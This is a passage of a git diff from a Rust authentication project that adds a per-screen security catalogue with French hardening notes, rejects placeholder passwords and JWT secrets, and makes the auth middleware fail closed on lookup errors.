223 - ] },
224 - ]},
225 - Functionality { key: "admin_error_log", label: "Admin · ErrorLog", always: false, screens: &[
226 - Screen { name: "AdminErrorLog", suggested_route: "/admin/errors", channel: Channel::Browser, auth_level: AuthLevel::Admin,
227 - core_methods: "error_handler, I18nService", io: "journal d'erreurs",
228 - security_notes: &[
229 - "`ensure_admin()` en défense en profondeur ; ne pas exposer de stack traces / chemins internes en production",
230 - ] },
231 - ]},
232 - Functionality { key: "admin_email_queue", label: "Admin · EmailQueue", always: false, screens: &[
233 - Screen { name: "AdminEmailQueue", suggested_route: "/admin/emails", channel: Channel::Browser, auth_level: AuthLevel::Admin,
234 - core_methods: "EmailQueueService", io: "file d'emails",
235 - security_notes: &[
236 - "`ensure_admin()` en défense en profondeur ; ne pas afficher de contenu d'email sensible en clair",
237 - ] },
238 - ]},
239 - Functionality { key: "admin_dashboard", label: "Admin · Dashboard", always: false, screens: &[
240 - Screen { name: "AdminDashboard", suggested_route: "/admin", channel: Channel::Browser, auth_level: AuthLevel::Admin,
241 - core_methods: "cartes DashboardCardDTO", io: "accueil admin",
242 - security_notes: &[
243 - "`ensure_admin()` en défense en profondeur ; cartes injectées correctement échappées",
244 - ] },
245 - ]},
91 + Functionality {
92 + key: "authentication",
93 + label: "Authentication",
94 + always: true,
95 + screens: &[Screen {
96 + name: "Login",
97 + suggested_route: "/login",
98 + channel: Channel::Browser,
99 + auth_level: AuthLevel::Public,
100 + core_methods: "AuthService, JwtService, POST /api/v1/auth/login",
101 + io: "form login → cookie JWT / challenge 2FA",
102 + security_notes: &[
103 + "redirect post-login : n'autoriser qu'un chemin relatif same-origin (rejeter les URL absolues et `//host`) — bloque l'open redirect `?redirect=`",
104 + "flux public : ne pas divulguer si l'identifiant/email existe (message d'échec générique)",
105 + ],
106 + }],
107 + },
108 + Functionality {
109 + key: "registration",
110 + label: "Registration",
111 + always: false,
112 + screens: &[Screen {
113 + name: "Register",
114 + suggested_route: "/register",
115 + channel: Channel::Browser,
116 + auth_level: AuthLevel::Public,
117 + core_methods: "UserService, AppSettingsService(allow_registration), POST /api/v1/auth/register",
118 + io: "form inscription",
119 + security_notes: &[
120 + "respecter `allow_registration` (403 si désactivé) ; valider/normaliser l'email côté serveur",
121 + "flux public : ne pas révéler qu'un email est déjà enregistré",
122 + ],
123 + }],
124 + },
125 + Functionality {
126 + key: "password_reset",
127 + label: "PasswordReset",
128 + always: false,
129 + screens: &[
130 + Screen {
131 + name: "ForgotPassword",
132 + suggested_route: "/forgot-password",
133 + channel: Channel::Browser,
134 + auth_level: AuthLevel::Public,
135 + core_methods: "PasswordResetService, POST /api/v1/auth/forgot-password",
136 + io: "email → lien reset",
137 + security_notes: &["réponse identique que l'email existe ou non (anti-énumération)"],
138 + },
139 + Screen {
140 + name: "ResetPassword",
141 + suggested_route: "/reset-password",
142 + channel: Channel::Browser,
143 + auth_level: AuthLevel::Public,
144 + core_methods: "PasswordResetService, POST /api/v1/auth/reset-password",
145 + io: "token + nouveau mdp",
146 + security_notes: &[
147 + "le token ne doit JAMAIS être interpolé dans un `<script>` : le passer par un attribut `data-*` et le lire via `dataset` (l'escaping HTML d'Askama n'échappe pas le contexte JS ni le backslash)",
148 + "consommer le token en un seul usage ; ne pas confirmer si le token est valide avant soumission",
149 + ],
150 + },
151 + ],
152 + },
153 + Functionality {
154 + key: "email_validation",
155 + label: "EmailValidation",
156 + always: false,
157 + screens: &[Screen {
158 + name: "ResendVerification",
159 + suggested_route: "/resend-verification",
160 + channel: Channel::Browser,
161 + auth_level: AuthLevel::Public,
162 + core_methods: "EmailValidationService, POST /api/v1/auth/resend-verification",
163 + io: "renvoi email (résultat rendu par le core)",
164 + security_notes: &[
165 + "réponse identique quel que soit l'état du compte (anti-énumération) ; rate-limit les renvois",
166 + ],
167 + }],
168 + },
169 + Functionality {
170 + key: "two_factor",
171 + label: "TwoFactor",
172 + always: false,
173 + screens: &[
174 + Screen {
175 + name: "TwoFactorChallenge",
176 + suggested_route: "/login/2fa",
177 + channel: Channel::Browser,
178 + auth_level: AuthLevel::Public,
179 + core_methods: "TotpService, POST /api/v1/auth/2fa/verify",
180 + io: "code TOTP ou backup",
181 + security_notes: &[
182 + "étape intermédiaire liée à une pré-session : rate-limit strict, ne pas révéler la validité partielle du code",
183 + ],
184 + },
185 + Screen {
186 + name: "TwoFactorSetup",
187 + suggested_route: "/settings/2fa",
188 + channel: Channel::Browser,
189 + auth_level: AuthLevel::Authenticated,
190 + core_methods: "TotpService::generate_setup/confirm/disable",
191 + io: "QR + confirmation",
192 + security_notes: &[
193 + "toute redirection de sécurité doit parser et whitelister les query params attendus — ne jamais forwarder un `RawQuery` brut",
194 + "exiger une confirmation par code avant activation ; le secret TOTP reste chiffré (CryptoService)",
195 + ],
196 + },
197 + Screen {
198 + name: "TwoFactorBackupCodes",
199 + suggested_route: "/settings/2fa/backup",
200 + channel: Channel::Browser,
201 + auth_level: AuthLevel::Authenticated,
202 + core_methods: "TotpService (backup codes)",
203 + io: "génération/affichage codes",
204 + security_notes: &[
205 + "codes affichés une seule fois, jamais logués ; ne stocker que leur hash",
206 + ],
207 + },
208 + ],
209 + },
210 + Functionality {
211 + key: "account_profile",
212 + label: "AccountProfile",
213 + always: false,
214 + screens: &[Screen {
215 + name: "Profile",
216 + suggested_route: "/profile",
217 + channel: Channel::Browser,
218 + auth_level: AuthLevel::Authenticated,
219 + core_methods: "UserService",
220 + io: "voir/éditer profil",
221 + security_notes: &["n'exposer et n'éditer que le profil de `claims.sub`"],
222 + }],
223 + },
224 + Functionality {
225 + key: "password_change",
226 + label: "PasswordChange",
227 + always: false,
228 + screens: &[
229 + Screen {
230 + name: "PasswordChange",
231 + suggested_route: "/settings/password",
232 + channel: Channel::Browser,
233 + auth_level: AuthLevel::Authenticated,
234 + core_methods: "PasswordChangeService",
235 + io: "changement mdp (confirmation email)",
236 + security_notes: &[
237 + "exiger le mot de passe courant ; invalider les autres sessions après changement",
238 + ],
239 + },
240 + Screen {
241 + name: "ConfirmPasswordChange",
242 + suggested_route: "/confirm-password-change",
243 + channel: Channel::Browser,
244 + auth_level: AuthLevel::Public,
245 + core_methods: "PasswordChangeService::find_by_token/confirm_request",
246 + io: "confirme via token",
247 + security_notes: &["valider le token côté core ; token à usage unique et expirant"],
248 + },
249 + ],
250 + },
251 + Functionality {
252 + key: "session_management",
253 + label: "SessionManagement",
254 + always: false,
255 + screens: &[Screen {
256 + name: "SessionsList",
257 + suggested_route: "/settings/sessions",
258 + channel: Channel::Browser,
259 + auth_level: AuthLevel::ResourceOwner,
260 + core_methods: "RefreshTokenService::list_active/revoke, JwtBlacklistService",
261 + io: "liste sessions + révoquer",
262 + security_notes: &[
263 + "IDOR : lister et révoquer uniquement les sessions dont l'`id` appartient à `claims.sub` (vérifier l'appartenance avant révocation)",
264 + ],
265 + }],
266 + },
267 + Functionality {
268 + key: "preferences",
269 + label: "Preferences",
270 + always: false,
271 + screens: &[Screen {
272 + name: "Preferences",
273 + suggested_route: "/settings/preferences",
274 + channel: Channel::Browser,
275 + auth_level: AuthLevel::Authenticated,
276 + core_methods: "UserPreferencesService",
277 + io: "préférences utilisateur",
278 + security_notes: &["ne modifier que les préférences de `claims.sub`"],
279 + }],
280 + },
281 + Functionality {
282 + key: "oauth_linking",
283 + label: "OAuthLinking",
284 + always: false,
285 + screens: &[Screen {
286 + name: "OAuthAccountLinking",
287 + suggested_route: "/settings/oauth",
288 + channel: Channel::Browser,
289 + auth_level: AuthLevel::Authenticated,
290 + core_methods: "OAuthService, GET /api/v1/auth/oauth/{provider}/redirect",
291 + io: "lier/délier comptes (+ boutons login)",
292 + security_notes: &[
293 + "vérifier le paramètre `state` anti-CSRF au retour du provider",
294 + "données renvoyées par l'API en `textContent`, jamais `innerHTML` ; URLs construites via `encodeURIComponent`",
295 + ],
296 + }],
297 + },
298 + Functionality {
299 + key: "teams",
300 + label: "Teams",
301 + always: false,
302 + screens: &[Screen {
303 + name: "TeamsManagement",
304 + suggested_route: "/teams",
305 + channel: Channel::Browser,
306 + auth_level: AuthLevel::ResourceOwner,
307 + core_methods: "TeamService (create/add_member/…), TeamRole",
308 + io: "équipes + membres (owner/admin/member)",
309 + security_notes: &[
310 + "IDOR/RBAC : vérifier le rôle de l'appelant dans CETTE équipe (`role_of`) avant chaque mutation ; owner non ré-attribuable",
311 + "à l'ajout d'un membre : message générique si l'utilisateur est introuvable (anti-énumération)",
312 + ],
313 + }],
314 + },
315 + Functionality {
316 + key: "personal_access_tokens",
317 + label: "PersonalAccessTokens",
318 + always: false,
319 + screens: &[Screen {
320 + name: "PatManagement",
321 + suggested_route: "/settings/tokens",
322 + channel: Channel::Browser,
323 + auth_level: AuthLevel::ResourceOwner,
324 + core_methods: "PersonalTokenService::create/list_for_user/revoke",
325 + io: "créer/révoquer jetons (plaintext 1 fois)",
326 + security_notes: &[
327 + "jeton en clair affiché une seule fois, jamais reconsultable ni logué",
328 + "IDOR : révocation et listage filtrés par `claims.sub`",
329 + ],
330 + }],
331 + },
332 + Functionality {
333 + key: "admin_users",
334 + label: "Admin · Users",
335 + always: false,
336 + screens: &[Screen {
337 + name: "AdminUsers",
338 + suggested_route: "/admin/users",
339 + channel: Channel::Browser,
340 + auth_level: AuthLevel::Admin,
341 + core_methods: "UserService, RoleService, PasswordResetService, TotpService",
342 + io: "liste + CRUD + reset",
343 + security_notes: &[
344 + "`ensure_admin()` dans le handler en plus du middleware (défense en profondeur)",
345 + "empêcher l'auto-suppression ; message générique si utilisateur introuvable",
346 + ],
347 + }],
348 + },
349 + Functionality {
350 + key: "admin_roles",
351 + label: "Admin · Roles",
352 + always: false,
353 + screens: &[Screen {
354 + name: "AdminRoles",
355 + suggested_route: "/admin/roles",
356 + channel: Channel::Browser,
357 + auth_level: AuthLevel::Admin,
358 + core_methods: "RoleService, PermissionService",
359 + io: "liste + CRUD rôles/permissions",
360 + security_notes: &[
361 + "`ensure_admin()` en défense en profondeur ; protéger le dernier admin",
362 + "ne pas permettre l'auto-escalade de permissions",
363 + ],
364 + }],
365 + },
366 + Functionality {
367 + key: "admin_settings",
368 + label: "Admin · Settings",
369 + always: false,
370 + screens: &[Screen {
371 + name: "AdminSettings",
372 + suggested_route: "/admin/settings",
373 + channel: Channel::Browser,
374 + auth_level: AuthLevel::Admin,
375 + core_methods: "AppSettingsService, CryptoService",
376 + io: "réglages applicatifs",
377 + security_notes: &[
378 + "`ensure_admin()` en défense en profondeur ; secrets chiffrés via CryptoService, jamais rendus en clair",
379 + ],
380 + }],
381 + },
382 + Functionality {
383 + key: "admin_error_log",
384 + label: "Admin · ErrorLog",
385 + always: false,
386 + screens: &[Screen {
387 + name: "AdminErrorLog",
388 + suggested_route: "/admin/errors",
389 + channel: Channel::Browser,
390 + auth_level: AuthLevel::Admin,
391 + core_methods: "error_handler, I18nService",
392 + io: "journal d'erreurs",
393 + security_notes: &[
394 + "`ensure_admin()` en défense en profondeur ; ne pas exposer de stack traces / chemins internes en production",
395 + ],
396 + }],
397 + },
398 + Functionality {
399 + key: "admin_email_queue",
400 + label: "Admin · EmailQueue",
401 + always: false,
402 + screens: &[Screen {
403 + name: "AdminEmailQueue",
404 + suggested_route: "/admin/emails",
405 + channel: Channel::Browser,
406 + auth_level: AuthLevel::Admin,
407 + core_methods: "EmailQueueService",
408 + io: "file d'emails",
409 + security_notes: &[
410 + "`ensure_admin()` en défense en profondeur ; ne pas afficher de contenu d'email sensible en clair",
411 + ],
412 + }],
413 + },
414 + Functionality {
415 + key: "admin_dashboard",
416 + label: "Admin · Dashboard",
417 + always: false,
418 + screens: &[Screen {
419 + name: "AdminDashboard",
420 + suggested_route: "/admin",
421 + channel: Channel::Browser,
422 + auth_level: AuthLevel::Admin,
423 + core_methods: "cartes DashboardCardDTO",
424 + io: "accueil admin",
425 + security_notes: &[
426 + "`ensure_admin()` en défense en profondeur ; cartes injectées correctement échappées",
427 + ],
428 + }],
429 + },
246 430 ];
247 431
248 432 #[cfg(test)]
@@ -269,17 +453,37 @@ mod tests {
269 453 #[test]
270 454 fn catalogue_couvre_les_fonctionnalites_attendues() {
271 455 let expected = [
272 - "authentication", "registration", "password_reset", "email_validation",
273 - "two_factor", "account_profile", "password_change", "session_management",
274 - "preferences", "oauth_linking", "teams", "personal_access_tokens",
275 - "admin_users", "admin_roles", "admin_settings", "admin_error_log",
276 - "admin_email_queue", "admin_dashboard",
456 + "authentication",
457 + "registration",
458 + "password_reset",
459 + "email_validation",
460 + "two_factor",
461 + "account_profile",
462 + "password_change",
463 + "session_management",
464 + "preferences",
465 + "oauth_linking",
466 + "teams",
467 + "personal_access_tokens",
468 + "admin_users",
469 + "admin_roles",
470 + "admin_settings",
471 + "admin_error_log",
472 + "admin_email_queue",
473 + "admin_dashboard",
277 474 ];
278 475 let keys: Vec<&str> = all().iter().map(|f| f.key).collect();
279 476 for k in expected {
280 - assert!(keys.contains(&k), "fonctionnalité manquante au catalogue : {k}");
477 + assert!(
478 + keys.contains(&k),
479 + "fonctionnalité manquante au catalogue : {k}"
480 + );
281 481 }
282 - assert_eq!(keys.len(), expected.len(), "nombre de fonctionnalités inattendu");
482 + assert_eq!(
483 + keys.len(),
484 + expected.len(),
485 + "nombre de fonctionnalités inattendu"
486 + );
283 487 }
284 488
285 489 #[test]
M crates/rustwarden-core/src/bin/screen-select/check.rs
+13 -4
@@ -51,9 +51,14 @@ mod tests {
51 51
52 52 fn row(route: &str) -> TodoRow {
53 53 TodoRow {
54 - done: false, functionality: "F".into(), screen: "S".into(),
55 - route: route.into(), channel: "browser".into(), protected: true,
56 - methods: "".into(), io: "".into(),
54 + done: false,
55 + functionality: "F".into(),
56 + screen: "S".into(),
57 + route: route.into(),
58 + channel: "browser".into(),
59 + protected: true,
60 + methods: "".into(),
61 + io: "".into(),
57 62 }
58 63 }
59 64
@@ -83,7 +88,11 @@ mod tests {
83 88 std::fs::create_dir_all(base.join("crates/rustwarden-core/src")).unwrap();
84 89 std::fs::create_dir_all(base.join("target")).unwrap();
85 90 std::fs::write(base.join("src/app.rs"), r#".route("/mine", get(h))"#).unwrap();
86 - std::fs::write(base.join("crates/rustwarden-core/src/x.rs"), r#".route("/vendored", get(h))"#).unwrap();
91 + std::fs::write(
92 + base.join("crates/rustwarden-core/src/x.rs"),
93 + r#".route("/vendored", get(h))"#,
94 + )
95 + .unwrap();
87 96 std::fs::write(base.join("target/y.rs"), r#".route("/built", get(h))"#).unwrap();
88 97
89 98 let hay = collect_sources(&base);
M crates/rustwarden-core/src/bin/screen-select/generate.rs
+26 -6
@@ -42,7 +42,10 @@ pub fn render_plan(inputs: &PlanInputs, rows: &[TodoRow]) -> String {
42 42 inputs.project
43 43 ));
44 44 // Garde-fous transversaux + conventions de rendu sûr (statique, vu en premier).
45 - out.push_str(&section::block(security::GUIDES_ID, &security::guides_body()));
45 + out.push_str(&section::block(
46 + security::GUIDES_ID,
47 + &security::guides_body(),
48 + ));
46 49 out.push_str("\n\n");
47 50 if let Some(design) = &inputs.design_md {
48 51 out.push_str("## Charte graphique (à respecter)\n\n");
@@ -58,7 +61,10 @@ pub fn render_plan(inputs: &PlanInputs, rows: &[TodoRow]) -> String {
58 61 out.push_str(&todo::render(rows));
59 62 out.push('\n');
60 63 // Contrat de sécurité par écran (dérivé du catalogue, en référence sous le tableau).
61 - out.push_str(&section::block(security::PER_SCREEN_ID, &security::reference_body(&inputs.selected)));
64 + out.push_str(&section::block(
65 + security::PER_SCREEN_ID,
66 + &security::reference_body(&inputs.selected),
67 + ));
62 68 out.push('\n');
63 69 out
64 70 }
@@ -89,7 +95,10 @@ mod tests {
89 95 let rows = rows_for(&inputs.selected);
90 96 let out = render_plan(&inputs, &rows);
91 97 assert!(out.contains("# Plan UI — demo"));
92 - assert!(out.contains("**`demo-ui`**"), "l'intro doit nommer la crate <projet>-ui");
98 + assert!(
99 + out.contains("**`demo-ui`**"),
100 + "l'intro doit nommer la crate <projet>-ui"
101 + );
93 102 assert!(out.contains("Police: Inter"));
94 103 assert!(out.contains("navbar: gauche"));
95 104 assert!(out.contains("| Statut | Fonctionnalité |"));
@@ -103,14 +112,22 @@ mod tests {
103 112 let tf = catalogue::by_key("two_factor").unwrap();
104 113 let login = &rows_for(&[auth])[0];
105 114 assert!(!login.protected);
106 - let setup = rows_for(&[tf]).into_iter().find(|r| r.screen == "TwoFactorSetup").unwrap();
115 + let setup = rows_for(&[tf])
116 + .into_iter()
117 + .find(|r| r.screen == "TwoFactorSetup")
118 + .unwrap();
107 119 assert!(setup.protected);
108 120 }
109 121
110 122 #[test]
111 123 fn render_plan_inclut_les_sections_securite() {
112 124 let auth = catalogue::by_key("authentication").unwrap();
113 - let inputs = PlanInputs { project: "demo", selected: vec![auth], design_md: None, layout: None };
125 + let inputs = PlanInputs {
126 + project: "demo",
127 + selected: vec![auth],
128 + design_md: None,
129 + layout: None,
130 + };
114 131 let rows = rows_for(&inputs.selected);
115 132 let out = render_plan(&inputs, &rows);
116 133 assert!(out.contains("<!-- screen-select:security-guides -->"));
@@ -122,6 +139,9 @@ mod tests {
122 139 // le bloc statique doit précéder le tableau (vu en premier par le dev)
123 140 let guides = out.find("Sécurité transversale").unwrap();
124 141 let table = out.find("| Statut").unwrap();
125 - assert!(guides < table, "les garde-fous transversaux doivent précéder le tableau");
142 + assert!(
143 + guides < table,
144 + "les garde-fous transversaux doivent précéder le tableau"
145 + );
126 146 }
127 147 }
M crates/rustwarden-core/src/bin/screen-select/main.rs
+23 -5
@@ -62,14 +62,23 @@ fn run_wizard() -> io::Result<()> {
62 62 Some(std::fs::read_to_string(&design_path)?)
63 63 };
64 64 let layout = prompt("Structure de page (ex. 'navbar: gauche; 2 colonnes', vide si aucune) : ")?;
65 - let layout = if layout.is_empty() { None } else { Some(layout) };
65 + let layout = if layout.is_empty() {
66 + None
67 + } else {
68 + Some(layout)
69 + };
66 70
67 71 let project = std::env::current_dir()?
68 72 .file_name()
69 73 .map(|n| n.to_string_lossy().into_owned())
70 74 .unwrap_or_else(|| "projet".into());
71 75
72 - let inputs = generate::PlanInputs { project: &project, selected, design_md, layout };
76 + let inputs = generate::PlanInputs {
77 + project: &project,
78 + selected,
79 + design_md,
80 + layout,
81 + };
73 82 let desired = generate::rows_for(&inputs.selected);
74 83
75 84 // 3. Fusion si un plan existe déjà (préserve statuts + routes éditées).
@@ -82,7 +91,11 @@ fn run_wizard() -> io::Result<()> {
82 91 let mut c = todo::replace_table(&existing, &merged);
83 92 // …puis régénère les sections sécurité (idempotent, suit la sélection courante).
84 93 c = section::upsert(&c, security::GUIDES_ID, &security::guides_body());
85 - c = section::upsert(&c, security::PER_SCREEN_ID, &security::reference_body(&inputs.selected));
94 + c = section::upsert(
95 + &c,
96 + security::PER_SCREEN_ID,
97 + &security::reference_body(&inputs.selected),
98 + );
86 99 c
87 100 } else {
88 101 generate::render_plan(&inputs, &desired)
@@ -92,8 +105,13 @@ fn run_wizard() -> io::Result<()> {
92 105 std::fs::create_dir_all(parent)?;
93 106 }
94 107 std::fs::write(path, content)?;
95 - println!("\n✓ Plan écrit dans {PLAN_PATH} ({} écrans).", desired.len());
96 - println!(" Contrôlez le réalisé : cargo run -p rustwarden-core --bin screen-select -- --check");
108 + println!(
109 + "\n✓ Plan écrit dans {PLAN_PATH} ({} écrans).",
110 + desired.len()
111 + );
112 + println!(
113 + " Contrôlez le réalisé : cargo run -p rustwarden-core --bin screen-select -- --check"
114 + );
97 115 Ok(())
98 116 }
99 117
M crates/rustwarden-core/src/bin/screen-select/todo.rs
+15 -3
@@ -161,7 +161,11 @@ mod tests {
161 161 fn parse_round_trip() {
162 162 let mut a = row();
163 163 a.done = true;
164 - let b = TodoRow { screen: "SessionsList".into(), route: "/settings/sessions".into(), ..row() };
164 + let b = TodoRow {
165 + screen: "SessionsList".into(),
166 + route: "/settings/sessions".into(),
167 + ..row()
168 + };
165 169 let rendered = render(&[a.clone(), b.clone()]);
166 170 let parsed = parse(&rendered);
167 171 assert_eq!(parsed, vec![a, b]);
@@ -188,10 +192,18 @@ mod tests {
188 192
189 193 #[test]
190 194 fn merge_ajoute_les_nouveaux() {
191 - let desired_new = TodoRow { functionality: "Teams".into(), screen: "TeamsManagement".into(), ..row() };
195 + let desired_new = TodoRow {
196 + functionality: "Teams".into(),
197 + screen: "TeamsManagement".into(),
198 + ..row()
199 + };
192 200 let merged = merge(&[], &[row(), desired_new.clone()]);
193 201 assert_eq!(merged.len(), 2);
194 - assert!(merged.iter().any(|r| r.screen == "TeamsManagement" && !r.done));
202 + assert!(
203 + merged
204 + .iter()
205 + .any(|r| r.screen == "TeamsManagement" && !r.done)
206 + );
195 207 }
196 208
197 209 #[test]
M crates/rustwarden-core/src/config/admin.rs
+46 -0
@@ -52,6 +52,9 @@ impl AdminConfig {
52 52 return Err(ValidationError::new("email_format"));
53 53 }
54 54 if let Some(ref password) = self.password {
55 + if password == "REMPLACER_PAR_UN_MOT_DE_PASSE_FORT" || password == "password" {
56 + return Err(ValidationError::new("password_placeholder"));
57 + }
55 58 if password.len() < 8 {
56 59 return Err(ValidationError::new("password_length"));
57 60 }
@@ -59,3 +62,46 @@ impl AdminConfig {
59 62 Ok(())
60 63 }
61 64 }
65 +
66 +#[cfg(test)]
67 +mod tests {
68 + use super::AdminConfig;
69 +
70 + fn config_with_password(password: Option<String>) -> AdminConfig {
71 + AdminConfig {
72 + username: "admin".into(),
73 + email: "admin@localhost".into(),
74 + password,
75 + }
76 + }
77 +
78 + #[test]
79 + fn rejects_literal_password() {
80 + let err = config_with_password(Some("password".into()))
81 + .validate()
82 + .expect_err("literal password must be rejected");
83 + assert_eq!(err.code.as_ref(), "password_placeholder");
84 + }
85 +
86 + #[test]
87 + fn rejects_cli_placeholder_password() {
88 + let err = config_with_password(Some("REMPLACER_PAR_UN_MOT_DE_PASSE_FORT".into()))
89 + .validate()
90 + .expect_err("CLI placeholder password must be rejected");
91 + assert_eq!(err.code.as_ref(), "password_placeholder");
92 + }
93 +
94 + #[test]
95 + fn accepts_strong_password() {
96 + config_with_password(Some("Str0ngEnough".into()))
97 + .validate()
98 + .expect("non-placeholder password of sufficient length must pass");
99 + }
100 +
101 + #[test]
102 + fn accepts_missing_password() {
103 + config_with_password(None)
104 + .validate()
105 + .expect("absent password is generated later");
106 + }
107 +}
M crates/rustwarden-core/src/config/auth.rs
+55 -7
@@ -75,6 +75,18 @@ pub struct AuthConfig {
75 75 pub auth_failure_mode: AuthFailureMode,
76 76 }
77 77
78 +/// Returns `true` when `secret` is an exact match for a known example JWT secret.
79 +pub(crate) fn jwt_secret_is_placeholder(secret: &str) -> bool {
80 + const KNOWN_EXAMPLES: &[&str] = &[
81 + "your-very-secret-jwt-key-change-me-in-production-at-least-32-bytes",
82 + "change-me-in-production",
83 + "super-secret-jwt-key",
84 + "my-secret-key",
85 + "REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE",
86 + ];
87 + KNOWN_EXAMPLES.contains(&secret)
88 +}
89 +
78 90 impl AuthConfig {
79 91 /// Load and validate authentication configuration from environment variables.
80 92 pub fn from_env() -> Result<Self, String> {
@@ -82,13 +94,7 @@ impl AuthConfig {
82 94 .map_err(|_| "JWT_SECRET environment variable is required".to_string())?;
83 95
84 96 // SEC-L1: Reject well-known example/placeholder secrets
85 - const KNOWN_EXAMPLES: &[&str] = &[
86 - "your-very-secret-jwt-key-change-me-in-production-at-least-32-bytes",
87 - "change-me-in-production",
88 - "super-secret-jwt-key",
89 - "my-secret-key",
90 - ];
91 - if KNOWN_EXAMPLES.iter().any(|ex| jwt_secret == *ex) {
97 + if jwt_secret_is_placeholder(&jwt_secret) {
92 98 return Err(
93 99 "JWT_SECRET is set to a known example value. Please generate a unique secret \
94 100 (e.g., `openssl rand -hex 32`)."
@@ -334,3 +340,45 @@ mod tests {
334 340 assert!(AuthFailureMode::from_str("nope").is_err());
335 341 }
336 342 }
343 +
344 +#[cfg(test)]
345 +mod jwt_secret_tests {
346 + use super::jwt_secret_is_placeholder;
347 +
348 + #[test]
349 + fn rejects_cli_placeholder() {
350 + assert!(jwt_secret_is_placeholder(
351 + "REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE"
352 + ));
353 + }
354 +
355 + #[test]
356 + fn rejects_historical_placeholders() {
357 + const HISTORICAL: &[&str] = &[
358 + "your-very-secret-jwt-key-change-me-in-production-at-least-32-bytes",
359 + "change-me-in-production",
360 + "super-secret-jwt-key",
361 + "my-secret-key",
362 + ];
363 + for secret in HISTORICAL {
364 + assert!(
365 + jwt_secret_is_placeholder(secret),
366 + "expected placeholder rejection for {secret}"
367 + );
368 + }
369 + }
370 +
371 + #[test]
372 + fn accepts_passphrase_containing_change_me() {
373 + assert!(!jwt_secret_is_placeholder(
374 + "my-change-me-not-secret-passphrase-2026xxxx"
375 + ));
376 + }
377 +
378 + #[test]
379 + fn accepts_random_hex_64() {
380 + assert!(!jwt_secret_is_placeholder(
381 + "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef"
382 + ));
383 + }
384 +}
M crates/rustwarden-core/src/middleware/admin_required.rs
+6 -4
@@ -113,10 +113,12 @@ pub async fn admin_required_impl(
113 113 Some(claims) => claims,
114 114 None => {
115 115 tracing::warn!("Unauthenticated access attempt to admin route: {}", uri);
116 - return Ok(crate::middleware::auth_service::auth_failure_from_extensions(
117 - request.extensions(),
118 - &uri,
119 - ));
116 + return Ok(
117 + crate::middleware::auth_service::auth_failure_from_extensions(
118 + request.extensions(),
119 + &uri,
120 + ),
121 + );
120 122 }
121 123 };
122 124
M crates/rustwarden-core/src/middleware/auth_service.rs
+188 -63
@@ -27,7 +27,7 @@ use crate::config::auth::{AuthConfig, AuthFailureMode};
27 27 /// hard-wired to `rustwarden-ui`'s `/login`. The original target is preserved
28 28 /// in a `redirect` query parameter when it is a safe relative path.
29 29 pub(crate) fn sanitize_redirect(uri: &str, login_path: &str) -> String {
30 - let path = uri.to_string();
30 + let path = uri.replace('\\', "/");
31 31 if path.starts_with('/') && !path.starts_with("//") && !path.contains('\0') {
32 32 format!("{login_path}?redirect={}", urlencoding::encode(&path))
33 33 } else {
@@ -78,6 +78,46 @@ pub(crate) fn auth_failure_from_extensions(
78 78 }
79 79 }
80 80
81 +/// Fail-closed outcome of a SeaORM `find_by_id` (or equivalent) user lookup.
82 +#[derive(Debug, Clone, Copy, PartialEq, Eq)]
83 +pub(crate) enum UserLookup {
84 + /// A row was found; the caller still owns the `Model`.
85 + Found,
86 + /// No row: treat as unauthenticated (deleted user + leftover JWT).
87 + Missing,
88 + /// Database error: refuse the request (503).
89 + Unavailable,
90 +}
91 +
92 +/// Map a SeaORM lookup result to a fail-closed auth decision.
93 +pub(crate) fn map_user_lookup<T, E>(result: Result<Option<T>, E>) -> UserLookup {
94 + match result {
95 + Ok(Some(_)) => UserLookup::Found,
96 + Ok(None) => UserLookup::Missing,
97 + Err(_) => UserLookup::Unavailable,
98 + }
99 +}
100 +
101 +/// Fail-closed outcome of a forced-2FA TOTP status check.
102 +#[derive(Debug, Clone, Copy, PartialEq, Eq)]
103 +pub(crate) enum TotpGate {
104 + /// User already has TOTP enabled; continue.
105 + Allow,
106 + /// Forced 2FA is on and the user has not enrolled; redirect to setup.
107 + RedirectSetup,
108 + /// Database error: refuse the request (503).
109 + Unavailable,
110 +}
111 +
112 +/// Map `TotpService::is_totp_enabled` to a fail-closed forced-2FA decision.
113 +pub(crate) fn totp_force_gate(result: Result<bool, impl std::fmt::Display>) -> TotpGate {
114 + match result {
115 + Ok(true) => TotpGate::Allow,
116 + Ok(false) => TotpGate::RedirectSetup,
117 + Err(_) => TotpGate::Unavailable,
118 + }
119 +}
120 +
81 121 /// Tower middleware that injects the authenticated user into request extensions.
82 122 ///
83 123 /// The middleware splits incoming requests into two branches based on
@@ -229,12 +269,12 @@ where
229 269 }
230 270 };
231 271
232 - if JwtBlacklistService::is_blacklisted(&db, &jwt_token)
233 - .await
234 - .is_ok_and(|b| b)
235 - {
236 - tracing::warn!("AuthService: JWT token is blacklisted");
237 - return Ok(auth_failure_response(&auth_config, &uri));
272 + match JwtBlacklistService::is_blacklisted(&db, &jwt_token).await {
273 + Ok(true) | Err(_) => {
274 + tracing::warn!("AuthService: JWT token is blacklisted");
275 + return Ok(auth_failure_response(&auth_config, &uri));
276 + }
277 + Ok(false) => {}
238 278 }
239 279
240 280 let claims = match JwtService::validate_token(&auth_config, &jwt_token) {
@@ -281,67 +321,104 @@ where
281 321 let headers = &parts.headers;
282 322 let client_ip = extract_client_ip(headers);
283 323
284 - if let Ok(Some(user_model)) = user::Entity::find_by_id(user_id).one(&db).await {
285 - let must_change = user_model.must_change_password;
286 -
287 - let mut user_active: user::ActiveModel = user_model.into();
288 - user_active.last_login_at = Set(Some(Utc::now()));
289 - if let Some(ip) = client_ip {
290 - user_active.last_login_ip = Set(Some(ip));
324 + let lookup = user::Entity::find_by_id(user_id).one(&db).await;
325 + match map_user_lookup(lookup.as_ref().map(|row| row.as_ref())) {
326 + UserLookup::Unavailable => {
327 + if let Err(e) = &lookup {
328 + tracing::error!(
329 + %user_id,
330 + error = %e,
331 + "user lookup failed (fail-closed)"
332 + );
333 + }
334 + return Ok((StatusCode::SERVICE_UNAVAILABLE, "Internal server error")
335 + .into_response());
291 336 }
292 -
293 - if let Err(e) = user_active.update(&db).await {
294 - tracing::warn!(
295 - "Failed to update last_login for user {}: {}",
296 - user_id,
297 - e
298 - );
299 - } else {
300 - tracing::debug!("Updated last_login for user {}", user_id);
337 + UserLookup::Missing => {
338 + return Ok(auth_failure_response(&auth_config, &uri));
301 339 }
340 + UserLookup::Found => {
341 + let Ok(Some(user_model)) = lookup else {
342 + return Ok((
